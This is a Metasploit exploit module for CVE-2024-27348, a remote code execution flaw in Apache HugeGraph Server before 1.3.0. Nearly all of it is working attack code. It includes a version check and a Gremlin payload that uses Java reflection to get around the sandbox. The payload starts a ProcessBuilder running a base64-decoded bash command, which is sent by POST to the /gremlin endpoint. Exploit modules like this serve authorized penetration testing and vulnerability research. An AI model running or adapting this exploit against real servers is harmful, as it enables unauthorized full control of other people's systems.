Apache HugeGraph Gremlin Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Apache HugeGraph Gremlin RCE’,
‘Description’ => %q{
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
RCE through Gremlin, resulting in complete control over the server
},
‘Author’ => [
‘6right’, # discovery
‘jheysel-r7’ # module
],
‘References’ => [
[ ‘URL’, ‘https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/’],
[ ‘CVE’, ‘2024-27348’]],
‘License’ => MSF_LICENSE,
‘Platform’ => %w[unix linux],
‘Privileged’ => true,
‘Arch’ => [ ARCH_CMD ],
‘Targets’ => [
[ ‘Automatic Target’, {}]],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-04-22’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, ],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)
register_options([
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [true, ‘Base path to the Apache HugeGraph web application’, ‘/’])
])
end

def check
res = send_request_cgi({
‘method’ => ‘GET’
})

return CheckCode::Unknown(‘No response from the vulnerable endpoint /gremlin’) unless res
return CheckCode::Unknown(“The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)”) unless res.code == 200

version = res.get_json_document&.dig(‘version’)
return CheckCode::Unknown(‘Unable able to determine the version of Apache HugeGraph’) unless version

if Rex::Version.new(version).between?(Rex::Version.new(‘1.0.0’), Rex::Version.new(‘1.3.0’))
return CheckCode::Appears(“Apache HugeGraph version detected: #{version}”)
end

CheckCode::Safe(“Apache HugeGraph version detected: #{version}”)
end

def exploit
print_status(“#{peer} – Running exploit with payload: #{datastore[‘PAYLOAD’]}”)

class_name = rand_text_alpha(4..12)
thread_name = rand_text_alpha(4..12)
command_name = rand_text_alpha(4..12)
process_builder_name = rand_text_alpha(4..12)
start_method_name = rand_text_alpha(4..12)
constructor_name = rand_text_alpha(4..12)
field_name = rand_text_alpha(4..12)

java_payload = <<~PAYLOAD
Thread #{thread_name} = Thread.currentThread();
Class #{class_name} = Class.forName(\”java.lang.Thread\”);
java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\”name\”);
#{field_name}.setAccessible(true);
#{field_name}.set(#{thread_name}, \”#{thread_name}\”);
Class processBuilderClass = Class.forName(\”java.lang.ProcessBuilder\”);
java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);
java.util.List #{command_name} = java.util.Arrays.asList(#{“bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash”.strip.split(‘ ‘).map { |element| “\”#{element}\”” }.join(‘, ‘)});
Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});
java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\”start\”);
#{start_method_name}.invoke(#{process_builder_name});
PAYLOAD

data = {
‘gremlin’ => java_payload,
‘bindings’ => {},
‘language’ => ‘gremlin-groovy’,
‘aliases’ => {}
}

res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘/gremlin’),
‘method’ => ‘POST’,
‘ctype’ => ‘application/json’,
‘data’ => data.to_json
})

print_error(‘Unexpected response from the vulnerable exploit’) unless res && res.code == 200
end
end